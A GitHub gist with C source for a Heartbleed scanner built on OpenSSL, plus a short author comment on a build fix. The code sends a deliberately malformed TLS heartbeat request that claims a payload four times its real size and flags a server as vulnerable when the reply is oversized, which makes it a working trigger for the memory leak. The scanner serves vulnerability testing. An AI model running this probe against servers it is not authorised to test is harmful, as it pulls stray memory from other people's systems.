Skip to content

Instantly share code, notes, and snippets.

@robstradling
Last active August 29, 2015 13:58
Show Gist options
  • Save robstradling/10363389 to your computer and use it in GitHub Desktop.
Save robstradling/10363389 to your computer and use it in GitHub Desktop.
/* History:
* v1.0 - (Rob Stradling) Original version.
* v1.1 - (Tim Hudson) Use SSL_get_ssl_method() instead of ssl3_write_bytes().
*
* gcc -ansi -pedantic -o heartbleed heartbleed.c -lssl -lcrypto
*/
#include <stdio.h>
#include "openssl/rand.h"
#include "openssl/ssl.h"
static void message_cb(
int v_write_p,
int v_version,
int v_content_type,
const void* v_buf,
size_t v_len,
SSL* v_ssl,
void* v_arg
)
{
if (v_write_p || (v_version == SSL2_VERSION) || (v_len < 4) || (!v_arg))
return;
if (v_content_type == TLS1_RT_HEARTBEAT) {
/* Expecting ~90 bytes if vulnerable to heartbleed;
~40 bytes if not vulnerable */
if (v_len > 80)
*((int*)v_arg) = 1; /* Vulnerable! */
v_ssl->tlsext_hb_pending = 0;
}
}
/******************************************************************************
* checkForHeartbeatAndHeartbleed() *
******************************************************************************/
static int checkForHeartbeatAndHeartbleed(
SSL* const v_ssl
)
{
/* This #define is copied from ssl/ssl_locl.h */
#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \
c[1]=(unsigned char)(((s) )&0xff)),c+=2)
unsigned char *buf, *p;
unsigned int payload = 18; /* Sequence number + random bytes */
unsigned int padding = 16; /* Use minimum padding */
int t_heartbeatEnabled = (
(v_ssl->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED)
&& !(v_ssl->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS)
);
/* Only send if peer supports and accepts HB requests... */
if (!t_heartbeatEnabled)
return t_heartbeatEnabled;
/* Check if padding is too long, payload and padding
* must not exceed 2^14 - 3 = 16381 bytes in total.
*/
OPENSSL_assert(payload + padding <= 16381);
/* Create HeartBeat message, we just use a sequence number
* as payload to distuingish different messages and add
* some random stuff.
* - Message Type, 1 byte
* - Payload Length, 2 bytes (unsigned int)
* - Payload, the sequence number (2 bytes uint)
* - Payload, random bytes (16 bytes uint)
* - Padding
*/
buf = OPENSSL_malloc(1 + 2 + payload + padding);
p = buf;
/* Message Type */
*p++ = TLS1_HB_REQUEST;
/* Payload length (18 bytes here) */
/* s2n(payload, p);*/
s2n(payload * 4, p); /* >payload to exploit heartbleed!!! */
/* Sequence number */
s2n(v_ssl->tlsext_hb_seq, p);
/* 16 random bytes */
RAND_pseudo_bytes(p, 16);
p += 16;
/* Random padding */
RAND_pseudo_bytes(p, padding);
/* Send malformed heartbeat request */
if (SSL_get_ssl_method(v_ssl)->ssl_write_bytes(v_ssl, TLS1_RT_HEARTBEAT,
buf, 3 + payload + padding) >= 0)
v_ssl->tlsext_hb_pending = 1;
OPENSSL_free(buf);
return t_heartbeatEnabled;
}
int main(int argc, char** argv)
{
SSL_CTX* t_sslCtx = NULL;
SSL* t_ssl = NULL;
BIO* t_bio = NULL;
int t_socket = -1;
int t_hasHeartbeatSupport = -1;
int t_hasHeartbleed = -1;
int t_returnCode = EXIT_FAILURE;
char t_headRequest[2048];
char t_buf[2048];
if (argc != 2) {
fprintf(stderr, "Usage: %s host_and_port\n", argv[0]);
goto label_finish;
}
/* Initialize the OpenSSL library */
(void)SSL_library_init();
OpenSSL_add_all_algorithms();
/* Create and initialize the SSL context - for maximum compatibility,
use an SSLv2 "Client Hello" message that signals support for SSLv2,
SSLv3, TLSv1.0, TLSv1.1 and TLSv1.2 */
if (!(t_sslCtx = SSL_CTX_new(SSLv23_client_method()))) {
fprintf(stderr, "Failed to allocate SSL_CTX structure\n");
goto label_finish;
}
/* Set the default security level to "allow everything". We want to be
able to connect to as many servers as possible, so we don't want to
block legacy cruft such as SSLv2, 40-bit ciphers, etc */
#if OPENSSL_VERSION_NUMBER >= 0x10100000L
SSL_CTX_set_security_level(t_sslCtx, 0);
#endif
/* We don't want to let OpenSSL automatically verify the peer */
SSL_CTX_set_verify(t_sslCtx, SSL_VERIFY_NONE, NULL);
/* SSL_OP_LEGACY_SERVER_CONNECT was only added in OpenSSL 0.9.8m */
#ifndef SSL_OP_LEGACY_SERVER_CONNECT
#define SSL_OP_LEGACY_SERVER_CONNECT 0
#endif
/* Enable various options and some workarounds for broken Servers */
(void)SSL_CTX_set_options(
t_sslCtx,
SSL_OP_ALL | SSL_OP_CIPHER_SERVER_PREFERENCE
| SSL_OP_LEGACY_SERVER_CONNECT
/* OpenSSL currently enables SSL_OP_LEGACY_SERVER_CONNECT by
default, but it will disable it at some point in the
future. We want to make sure it is enabled, because we want
to connect to as many different Servers as possible */
| SSL_OP_NO_COMPRESSION
);
/* Configure a message callback */
SSL_CTX_set_msg_callback(t_sslCtx, message_cb);
SSL_CTX_set_msg_callback_arg(t_sslCtx, &t_hasHeartbleed);
/* Set up the BIO SSL object */
t_bio = BIO_new_ssl_connect(t_sslCtx);
if (!t_bio) {
fprintf(stderr, "Failed to set up the BIO SSL object\n");
goto label_finish;
}
BIO_get_ssl(t_bio, &t_ssl);
if (!t_ssl) {
fprintf(stderr, "Failed to get the SSL pointer\n");
goto label_finish;
}
/* Never bother us with retries if the transport is blocking */
(void)SSL_set_mode(t_ssl, SSL_MODE_AUTO_RETRY);
/* Configure a message callback */
SSL_set_msg_callback(t_ssl, message_cb);
SSL_set_msg_callback_arg(t_ssl, &t_hasHeartbleed);
/* Attempt to connect */
BIO_set_conn_hostname(t_bio, argv[1]);
if (BIO_do_connect(t_bio) < 1) {
fprintf(stderr, "Failed to connect to %s\n", argv[1]);
goto label_finish;
}
t_returnCode = EXIT_SUCCESS;
/* Check for heartbeat support and begin checking for heartbleed
vulnerability */
t_hasHeartbleed = 0;
t_hasHeartbeatSupport = checkForHeartbeatAndHeartbleed(t_ssl);
if (!t_hasHeartbeatSupport) {
printf("NOT VULNERABLE (TLS Heartbeat extension not supported by the server)\n");
goto label_finish;
}
/* Send an HTTP HEAD Request */
sprintf(t_headRequest,
"HEAD /robots.txt HTTP/1.1\r\n"
"Host: %s\r\n"
"Connection: close\r\n"
"User-Agent: Heartbleed Scanner\r\n\r\n",
argv[1]
);
(void)SSL_write(t_ssl, t_headRequest, strlen(t_headRequest));
/* We don't care about the HTTP response, but we need to call SSL_read()
to trigger the heartbeat response message (if any) to be processed */
(void)SSL_read(t_ssl, t_buf, 0);
if (t_hasHeartbleed)
printf("VULNERABLE!\n");
else
printf("NOT VULNERABLE (TLS Heartbeat extension supported by the server)\n");
label_finish:
if (t_bio)
BIO_free(t_bio);
if (t_sslCtx)
SSL_CTX_free(t_sslCtx);
EVP_cleanup();
return t_returnCode;
}
@robstradling
Copy link
Author

Tim Hudson suggested using SSL_get_ssl_method() instead of ssl3_write_bytes(). Since SSL_get_ssl_method() is a publicly exported function, this should also fix the Debian/Ubuntu build problem. I've updated the code.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment